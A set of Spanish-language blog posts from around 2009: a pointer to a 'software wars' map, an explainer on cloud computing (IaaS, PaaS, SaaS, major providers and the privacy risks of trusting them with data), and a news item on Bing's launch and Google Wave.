Hace un tiempo me topé con este genial gráfico que ilustra el estado de competencia entre los distintos programas, agrupados por empresas, como un mapa de guerra. La fuente original es http://mshiltonj.com/software_wars/
Cabe destacar que el mapa se creó utilizando sólo herramientas de software libre (Inkscape y GIMP).
Es una pena que no se actualice desde el 2006 porque la verdad que está muy bueno.
Cloud Computing: dónde mierd* están mis datos???
Un término que viene pegando fuerte en la red es el de cloud computing. Hace tiempo vengo viendo comentarios sobre esta nueva forma de servicio, y últimamente veo como más empresas se van sumando al tren.

Qué es?
Cloud computing básicamete es un sistema de servicios distribuidos que brinda recursos (de forma gratuita o paga) a los usuarios/empresas para que utilicen sin preocuparse por tener que administrarlos. Estos recursos estarán siempre disponibles y se podrán acceder desde cualquier lugar del planeta. El recurso puede ser cualquier cosa, tiempo de procesamiento, espacio en disco, una aplicación, un archivo, incluso hasta un sistema operativo... Cada proveedor tiene su propio servicio y puede estar basado en uno o más recursos.
Aquel que no conozca del tema, seguramente se estará preguntando por qué el nombre Cloud Computing (Computación en Nube - beugh que feo suena en español :S). El nombre (excelentemente elegido) se refiere a que uno utiliza recursos que no sabe donde están ubicados físicamente, ni cómo se administran, forman parte de una nube. El usuario utiliza los recursos sin preocuparse de nada, sólo sabe que están siempre disponibles y que los puede acceder desde cualquier lugar.

Una definición que me encantó fue la que leí en ruby.about.com donde citan lo que dijo George Reese, CTO de enStratus Networks y autor del libro Cloud Application Architectures (O'Reilly Press): "In the end, what the cloud really amounts to is: it's not my problem." algo así como "Al final, cloud realmente se resume a: no es mi problema". A lo que se refiere Reese es que uno utiliza los recursos y si algo sucede es problema del proveedor, nosotros nos abstraemos de lo que sucede por debajo, nos limitamos a usar el recurso.

En realidad lo único nuevo detrás de Cloud Computing es el nombre y el marketing. Desde hace años venimos utilizando servicios que caerían dentro de la definición de Cloud. Tal vez el que resulte más familiar es el de e-mails. Este servicio, brindado gratuitamente por diferentes compañías nos brindan espacio para almacenar los e-mails, así como también el procesamiento para enviar y recibir e-mails, y todo sin que nosotros sepamos como funciona ni dónde se almacenan. Además los e-mails son accesibles desde cualquier lugar del mundo y están siempre disponible. Como ven, es un servicio cloud.
Igualmente sucede con los motores de búsqueda. Los motores de búsqueda tienen almacenados gigantes índices y grandes cantidades de páginas y realizan todo el procesamiento necesario para que nosotros obtengamos los resultados, todo sin que sepamos cómo o dónde están los recursos necesarios para que esto funcione. También están siempre disponibles desde cualquier lugar.


División general
El concepto de cloud se puede dividir principalmente en Infrastructure as a Service (IaaS), Platform as a Service (PaaS) y Software as a Service (SaaS), aunque hay otros no tan conocidos.

IaaS nos entrega una infraestructura completa como servicio. La idea es que en vez de comprar servidores, software, espacio de almacenamiento o equipamiento de red, el cliente compra todos los recursos en un pack totalmente administrado por el proveedor, el cual nos garantiza disponibilidad en todo momento, así como buena performance y seguridad. Un par de links interesantes son http://en.wikipedia.org/wiki/Infrastructure_as_a_service y http://www.gni.com/services/iaas (es interesante leer en la página de GNi que entre sus clientes se encuentran IBM y Cisco!)

PaaS permite a los usuarios utilizar servicios de sistema operativo. Si bien el concepto es así de general, lo que las empresas brindan se orienta al desarrollo de software. El servicio provisto incluye las facilidades requeridas para el completo ciclo de vida de desarrollar, testear y hostear aplicaciones web, sin necesidad de descargar o instalar software para los desarrolladores, administradores IT o usuarios finales. PaaS también se conoce como cloudware. Algunos links donde encontrar info sobre PaaS son, como siempre, el wiki http://en.wikipedia.org/wiki/Platform_as_a_service , y además http://www.platformasaservice.com/ y http://blogs.bungeeconnect.com/2008/02/18/defining-platform-as-a-service-or-paas/

Por último y tal vez el que resulte más familiar al usuario es SaaS. SaaS nos brinda la facilidad de utilizar aplicaciones y guardar los datos utilizados en esas aplicaciones en la nube, con lo cual podemos acceder y editar nuestros datos cuando queramos, desde donde queramos, además de trabajar en grupo con los usuarios que queramos. El usuario no necesita ningún software o hardware adicional para usar/modificar o acceder a sus datos. En ésta categoría caen los ejemplos que cité más arriba (motores de búsqueda e e-mails) así como también las conocidas google applications (google docs, calendar, reader, etc) y otras tantas.

Cada una de éstas formas de servicio es bastante compleja y merecerían un informe completo cada una, aquí sólo incluí una definición muy básica. Hay empresas que brindan uno u otro servicio, así como también algunas que brindan más de uno.


En resumidas cuentas, Cloud Computing ofrece:
Además de la posibilidad de utilizar los recursos en todo momento desde cualquier lugar del planeta, sin preocuparnos de cómo se mantienen o dónde están, colaborar entre usuarios repartidos por todos lados, hay otros beneficios no tan visibles para el usuario final, pero sí para las empresas. Por un lado está la posibilidad de crecimiento a un bajo costo. De no existir IaaS algunas empresas no podrían escalar debido a los altos costos de comprar y mantener servidores, espacio, equipamientos de red, seguridad, monitoreo, etc. Por otro lado tenemos las facilidades de PaaS para el desarrollo de software de forma distribuida, donde las empresas pueden focalizarse sólo en desarrollar, dejando el resto del trabajo al proveedor Cloud (es decir, abstracción). También es importante la alta disponibilidad y la confiabilidad, la idea de un servicio Cloud es estar siempre disponible y nunca perder un dato. Por supuesto (aunque con un interesante enganche que explico más abajo) está el tema seguridad, garantizando integridad y cuidado de nuestros datos. Vale mencionar que existen otros beneficios, como escalabilidad, flexibilidad, etc.


Empresas en el ruedo
La empresa con mayor peso en prestaciones de servicios Cloud es Amazon (pensar q arrancaron vendiendo libros...), con su Amazon Web Services.
Por otro lado, tenemos el más conocido (por usuarios internautas comunes) Google Apps con sus ya afamados Google Docs, Talk, Calendar, etc.
También Salesforce.com es conocido por su CRM (Customer Relationship Management)
Por supuesto que Microsoft no se iba a quedar fuera del juego, ellos ofrecen Microsoft Online Services , los cuales, para variar, son pagos. (bueno, los de Amazon y Salesforce también son pagos, pero uno trae la inercia de tirarle palos a M$ =D ).
Por su parte IBM ofrece Blue Cloud con una variada lista de servicios.
Existen muchas otras compañías ofreciendo distintos servicios (como la citada GNi), sólo hace falta buscar lo que deseamos.


To be or not to be
Y como no podía ser de otra manera, después de describir Cloud Computing y sus beneficios, hace falta una buena reflexión de las implicaciones. Como cité en la anteriormente, hay un interesante enganche concerniente a la seguridad.
Si bien la idea de Cloud es excelente, qué pasa con nuestros datos?, qué pasa con las estrategias empresariales?, qué pasa con la privacidad?... como el resto de las cosas en este servicio, están en las nubes. Debemos confiar execivamente en nuestros proveedores. Y si por ejemplo nuestros proveedores decidieran cortarnos el servicio y quedarse con nuestros datos hasta que paguemos una elevada suma de dinero?, y si vendieran nuestras estrategias de negocio a la competencia? Qué seguridad tengo de que no explote todo y pierda mi negocio?. Como bien cito en el título, dónde mierd* están mis datos? qué hacen con ellos?
También está el problema político. Y si almacenan los datos en un país dónde el gobierno pueda decidir sobre el futuro de mi empresa?

En http://www.idg.es/Comunicaciones/articulo.asp?id=191003 hacen un interesante review de Cloud Computing con una buena lista de los riesgos a los que estamos expuestos.
Por supuesto, el defensor de la libertad absoluta (y hasta extremista) Richard Stallman remarcó de forma dura, pero realista lo que potencialmente puede pasar al dejar tanta responsabilidad en manos ajenas. Algunos de sus comentarios pueden leerse en http://www.guardian.co.uk/technology/2008/sep/29/cloud.computing.richard.stallman

También en http://www.infoworld.com/d/cloud-computing/how-buy-cloud-computing-services-821 hacen un buen trabajo remarcando los problemas que deben afrontar las empresas que deseen utilizar los servicios del Cloud Computing para sus negocios.


Agradecimiento:
Antes de terminar, quiero agradecer especialmente al Sensei Echaiz no sólo por prestarme una excelente fotografía para colocar en el informe, sino por todo lo que me enseñó y me sigue enseñando cada día, sin su ayuda mi trabajo no sería lo que es. Gracias Javi!
Pueden ver más de su excelente trabajo fotográfico en su blog


----------------------------------------------------------------
Cómo ven diferentes personajes al Cloud Computing:

Usuario guay: es de lo mejor!, puedo tener todo en cualquier lado en cualquier momento, nada de andar con pen drives molestos!

Fox Molder: es un nueva conspiración del gobierno (en conjunto con los Aliens) para controlar a los ciudadanos, big brother te vigila!

Steve Ballmer: money!, monopoly!, money!... i forgot something?, oh yeah, buy Windows!

Richard Stallman: es una estupidez!, es peor que estupidez: es una campaña de marketing publicitario!

JE: una nueva forma de vender mi alma al diablo.
News: Microsoft pre-lanza "Bing" y Google prepara "Wave"
Mientras busco tiempo para terminar un mini informe sobre Cloud Computing, inauguro la sección news con las noticias más relevantes que he leído en los últimos días.

Para comenzar y como lo más relevante del día, es que ya está entre nosotros la nueva lavada de cara de Microsoft al mundo de los buscadores. Después de fracasar rotundamente con su Live Search (el cual era pésimo, vale remarcar) ahora se lanzan al mercado con un renovado buscador al que nombraron Bing (también conocido como Kumo). Como todo lo lanzado por Microsoft, ellos propagandean Bing como el buscador más rápido y el que toma mejores decisiones. Como siempre, no confío para nada en las soluciones M$, pero al menos demosle el beneficio de la duda y probemoslo un poco: http://bing.com Esperemos que no se queden sólo en el "bla, bla" y hagan un verdadero esfuerzo por innovar.
Noticias relacionadas al respecto son http://tech.slashdot.org/story/09/05/28/1650226/Microsoft-Rebrands-Live-Search-As-Bing y http://tech.slashdot.org/story/09/06/01/1718241/Microsoft-Bing-Search-Launches-Early-Preview

Por otro lado, encontré interesante la noticia sobre un nuevo desarrollo googlesco: Wave. Wave es un sistema basado en p2p orientado a conversación (al mejor estilo IMs) y colaboración. La idea es que cada usuario cree su wave y agregue personas, entre las cuales se puedan comunicar utilizando texto enriquecido, fotos, gadgets y hasta feeds. La idea es combinar Gmail y Google Docs. Pueden leer más información, así como un video explicativo en http://googlesystem.blogspot.com/2009/05/google-wave.html
Veremos que sale de esta nueva apuesta, yo lo veo como un sistema que quiere abarcar todo lo visto para redes sociales.